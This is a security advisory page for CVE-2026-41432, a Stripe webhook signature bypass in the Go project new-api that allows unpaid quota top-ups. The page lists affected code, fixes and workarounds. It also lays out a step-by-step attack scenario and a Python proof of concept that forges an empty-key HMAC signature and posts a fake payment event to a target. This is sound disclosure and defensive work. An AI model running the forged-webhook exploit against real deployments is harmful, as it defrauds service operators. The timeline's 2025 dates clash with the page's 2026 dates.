# CVE-2026-41432: new-api β€” Fixed in 0.12.10 🐹 🐹 Go Not in CISA KEV HIGH severity # CVE-2026-41432 β€” new-api HIGH CVE-2026-41432 is a high-severity (CVSS 7.1) CWE-345 vulnerability in github.com/QuantumNous/new-api. A fix is available for github.com/QuantumNous/new-api β€” see the affected versions and patch details below. New API: Stripe Webhook Signature Bypass via Empty Secret Enables Unlimited Quota Fraud Also known as[GHSA-xff3-5c9p-2mr4](/vulnerability/GHSA-xff3-5c9p-2mr4)GO-2026-5753 Published May 8, 2026 Updated Oct 28, 2026 Affected 1 pkg Patched 1 / 1 Exploits None indexed Exploitation data as of Nov 10, 2026 Β· OSV.dev, NVD, FIRST.org (EPSS) ## Exploitation Status ### Proof-of-concept exploit code exists - CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation. Exploitation and automatability from CISA’s SSVC triage for CVE-2026-41432. ## EPSS Exploitation Probability [via FIRST.org β†—](https://www.first.org/epss/) 0.9%probability of exploitation in next 30 days Lower Risk0.00% Lower risk than most CVEs58th percentile β€” riskier than 58% of all scored CVEsHighest risk 0.00%0.45%0.90%1.35%0.0%0.9%Jun 26Sep 26Nov 26 Probability of exploitation in the next 30 days, from [FIRST.org EPSS](https://www.first.org/epss/). ## How urgent is this, really ## Where this sits among everything scored ## Real-World Exposure 1 pkg affected 🐹`github.com/QuantumNous/new-api` Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages β€” download data is not available via public APIs for these ecosystems. ## Description ### Summary A critical vulnerability exists in the Stripe webhook handler that allows an **unauthenticated attacker to forge webhook events** and credit arbitrary quota to their account without making any payment. The vulnerability stems from three compounding flaws: 1. The Stripe webhook endpoint does not reject requests when `StripeWebhookSecret` is empty (the default). 2. When the HMAC secret is empty, any attacker can compute valid webhook signatures, effectively **bypassing signature verification entirely**. 3. The `Recharge` function does not validate that the order's `PaymentMethod` matches the callback source, enabling **cross-gateway exploitation** β€” an order created via any payment method (e.g., Epay) can be fulfilled through a forged Stripe webhook. ### Affected Components - `controller/topup_stripe.go` β€” `StripeWebhook()`, `sessionCompleted()` - `model/topup.go` β€” `Recharge()`, `RechargeCreem()`, `RechargeWaffo()` - `controller/topup.go` β€” `EpayNotify()` - `controller/topup_creem.go` β€” `CreemAdaptor.RequestPay()` (missing `PaymentMethod` field) - `router/api-router.go` β€” webhook route registered without any guard ### CWE Classification - **CWE-345**: Insufficient Verification of Data Authenticity - **CWE-1188**: Initialization with an Insecure Default (empty webhook secret) - **CWE-863**: Incorrect Authorization (cross-gateway order fulfillment) ### Vulnerability Details #### Flaw 1: Empty Webhook Secret Bypasses Signature Verification The `StripeWebhookSecret` setting defaults to an empty string `""`. The Stripe Go SDK (`webhook.ConstructEventWithOptions`) does **not** reject empty secrets β€” it computes `HMAC-SHA256` with an empty key, producing a deterministic and publicly computable signature. **Vulnerable code** (`controller/topup_stripe.go`): ``` func StripeWebhook(c *gin.Context) { // No check for empty StripeWebhookSecret payload, _ := io.ReadAll(c.Request.Body) signature := c.GetHeader("Stripe-Signature") endpointSecret := setting.StripeWebhookSecret // defaults to "" event, err := webhook.ConstructEventWithOptions(payload, signature, endpointSecret, ...) // When secret is "", attacker can compute valid HMAC with the same empty key } ``` The webhook route is unconditionally registered with **no authentication middleware and no rate limiting**: ``` apiRouter.POST("/stripe/webhook", controller.StripeWebhook) ``` #### Flaw 2: Missing `payment_status` Verification The `sessionCompleted` handler only checks `status == "complete"` but does **not** verify `payment_status == "paid"`. Stripe's `checkout.session.completed` event can fire with `payment_status = "unpaid"` for delayed payment methods (bank transfer, SEPA, Boleto, etc.) or `payment_status = "no_payment_required"` for 100% discount coupons. Additionally, `checkout.session.async_payment_succeeded` and `checkout.session.async_payment_failed` events are not handled, so delayed payments that ultimately fail are never rolled back. #### Flaw 3: Cross-Gateway Order Fulfillment (No PaymentMethod Validation) The `model.Recharge()` function (called by the Stripe webhook) looks up orders solely by `trade_no` and does **not** validate that the order's `PaymentMethod` is `"stripe"`: ``` func Recharge(referenceId string, customerId string) (err error) { // Finds ANY pending order by trade_no, regardless of PaymentMethod tx.Where("trade_no = ?", referenceId).First(topUp) if topUp.Status != "pending" { return } // Credits quota without checking topUp.PaymentMethod quota = topUp.Money * QuotaPerUnit tx.Model(&User{}).Update("quota", gorm.Expr("quota + ?", quota)) } ``` This allows an attacker to create orders through **any** configured payment gateway (Epay, Creem, Waffo) and then complete them via a forged Stripe webhook β€” even if Stripe itself was never configured. ### Attack Scenario **Prerequisites**: Any payment method is configured (e.g., Epay) + `StripeWebhookSecret` is empty (default). 1. Attacker registers a user account. 2. Attacker calls `POST /api/user/pay` to create an Epay top-up order (e.g., `amount=10000`). The order is stored with `status=pending`. 3. Attacker queries `GET /api/user/topup/self` to retrieve the `trade_no` of the pending order. 4. Attacker computes `HMAC-SHA256` with an empty key over a crafted `checkout.session.completed` payload containing the stolen `trade_no` as `client_reference_id`. 5. Attacker sends `POST /api/stripe/webhook` with the forged payload and signature header. 6. The server verifies the signature (passes because the secret is empty), calls `Recharge()`, which finds the Epay order by `trade_no`, marks it as `success`, and credits the full quota. 7. Attacker repeats steps 2–6 indefinitely for unlimited credits. **Proof of concept** (pseudocode): ``` import hmac, hashlib, time, json, requests timestamp = int(time.time()) payload = json.dumps({ "type": "checkout.session.completed", "data": { "object": { "client_reference_id": "", "status": "complete", "payment_status": "paid", "customer": "cus_fake", "amount_total": "0", "currency": "usd" } } }) # Empty secret = publicly computable signature sig = hmac.new(b"", f"{timestamp}.{payload}".encode(), hashlib.sha256).hexdigest() header = f"t={timestamp},v1={sig}" requests.post("https://target/api/stripe/webhook", data=payload, headers={"Stripe-Signature": header, "Content-Type": "application/json"}) ``` ### Remediation #### Fix 1: Reject webhooks when secret is empty ``` func StripeWebhook(c *gin.Context) { if setting.StripeWebhookSecret == "" { c.AbortWithStatus(http.StatusForbidden) return } // ... existing logic } ``` #### Fix 2: Verify `payment_status` and handle async payment events ``` func sessionCompleted(event stripe.Event) { // ... existing status check ... paymentStatus := event.GetObjectValue("payment_status") if paymentStatus != "paid" { return // Wait for async_payment_succeeded event } fulfillOrder(event, referenceId, customerId) } ``` Add handlers for `checkout.session.async_payment_succeeded` and `checkout.session.async_payment_failed`. #### Fix 3: Validate PaymentMethod in all recharge functions ``` // In model.Recharge (Stripe): if topUp.PaymentMethod != "stripe" { return ErrPaymentMethodMismatch } // In model.RechargeCreem: if topUp.PaymentMethod != "creem" { return ErrPaymentMethodMismatch } // In model.RechargeWaffo: if topUp.PaymentMethod != "waffo" { return ErrPaymentMethodMismatch } // In controller.EpayNotify: if topUp.PaymentMethod == "stripe" || topUp.PaymentMethod == "creem" || topUp.PaymentMethod == "waffo" { return // reject cross-gateway fulfillment } ``` #### Additional fix: Set PaymentMethod on Creem order creation The Creem order creation was missing the `PaymentMethod` field entirely: ``` topUp := &model.TopUp{ // ... PaymentMethod: "creem", // was missing } ``` ### Patched Versions - **v0.12.10** β€” includes all three fixes described above. All users are strongly encouraged to upgrade immediately. ### Workaround (for users unable to upgrade immediately) If users cannot upgrade to v0.12.10 right away, apply **all** of the following mitigations: 1. **Set `StripeWebhookSecret` to any non-empty value.** Go to the admin panel β†’ Payment β†’ Stripe, and set the Webhook Signing Secret to **any random string** (e.g., `whsec_placeholder_do_not_leave_empty`). It does **not** need to be a real Stripe secret β€” any non-empty value will prevent the empty-key HMAC forgery. **This is the single most important step** β€” it closes the primary attack vector. If Stripe payments are used in production, replace with the real secret from the project's [Stripe Dashboard β†’ Webhooks](https://dashboard.stripe.com/webhooks) to ensure legitimate webhooks continue to work. 2. **If Stripe is not in use, block the webhook endpoint.** If users have not configured Stripe payments, use a reverse proxy (Nginx, Caddy, etc.) to deny access to `/api/stripe/webhook`: ``` location = /api/stripe/webhook { return 403; } ``` > **Note**: The workaround only mitigates Flaw 1 (empty secret bypass). Flaws 2 (missing `payment_status` check) and 3 (cross-gateway fulfillment) are only fully addressed in v0.12.10. **Upgrading is the only complete fix.** ### Impact - **Financial fraud**: Attacker obtains unlimited API quota without payment. - **Operator financial loss**: Fraudulent quota is consumed against upstream AI providers (OpenAI, Anthropic, Google, etc.), charged to the operator. - **Silent exploitation**: Fraudulent top-ups appear as normal successful transactions in system logs, making detection difficult. - **Wide exposure**: The default insecure configuration means virtually all deployments with any payment method enabled are vulnerable. ### Timeline - **2025-04-15**: Vulnerability reported by [@ChangeYu0229](https://github.com/ChangeYu0229) - **2025-04-15**: Vulnerability confirmed and root cause analysis completed - **2025-04-15**: Fix developed and applied - **2025-04-15**: Patched in v0.12.10 ### Resources - [Stripe Webhook Signature Verification Docs](https://docs.stripe.com/webhooks#verify-official-libraries) - [Stripe Checkout Fulfillment Guide β€” Handle async payment methods](https://docs.stripe.com/checkout/fulfillment#async-payment-methods) - [CWE-345: Insufficient Verification of Data Authenticity](https://cwe.mitre.org/data/definitions/345.html) - [CWE-1188: Initialization with an Insecure Default](https://cwe.mitre.org/data/definitions/1188.html) ## Affected Packages 1 total 1 fixed Ecosystem Package Vulnerable range Fix 🐹Go `github.com/QuantumNous/new-api` all versions 0.12.10`go get github.com/QuantumNous/new-api@v0.12.10` ## Affected Products 1 product Β· 1 configurations Application `new api`newapi < 0.12.10 range ## Detection & mitigation playbook Open-source dependency 1. ### Detect Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/QuantumNous/new-api, including transitive dependencies β€” a direct dependency you never call can still pull in a vulnerable version. 2. ### Fix Update github.com/QuantumNous/new-api to 0.12.10 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range β€” O3 confirms CVE-2026-41432 is resolved across your whole dependency graph. 3. ### Workarounds Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used. ## How to detect CVE-2026-41432 A community-maintained Nuclei template exists for this CVE. You can scan for it directly: `nuclei -id cve-2026-41432 -u https://target` Template New API < v0.12.10 - Stripe Webhook Bypass Severity high Impact Unauthenticated attackers can credit arbitrary quota to their account without payment, causing financial and resource abuse. Remediation Update to version 0.12.10 or later. Template by [ProjectDiscovery nuclei-templates](https://github.com/projectdiscovery/nuclei-templates) (str4k3r), MIT licensed. [View the full template](https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-41432.yaml). Scan only systems you are authorised to test. ## Frequently Asked Questions \## Summary A critical vulnerability exists in the Stripe webhook handler that allows an \*\*unauthenticated attacker to forge webhook events\*\* and credit arbitrary quota to their account without making any payment. The vulnerability stems from three compounding flaws: 1. The Stripe webhook endpoint does not reject requests when \`StripeWebhookSecret\` is empty (the default). 2. When the HMAC secret is empty, any attacker can compute valid webhook signatures, effectively \*\*bypassing signature verification entirely\*\*. 3. The \`Recharge\` function does not validate that the order's \`PaymentMethod\` ma O3 Security Β· Impact-Aware SCA ### Is CVE-2026-41432 in your dependencies? Find it across Go, including transitive dependencies. [Scan my dependencies](/book-demo) [How O3 SCA works](/impact-aware-sca)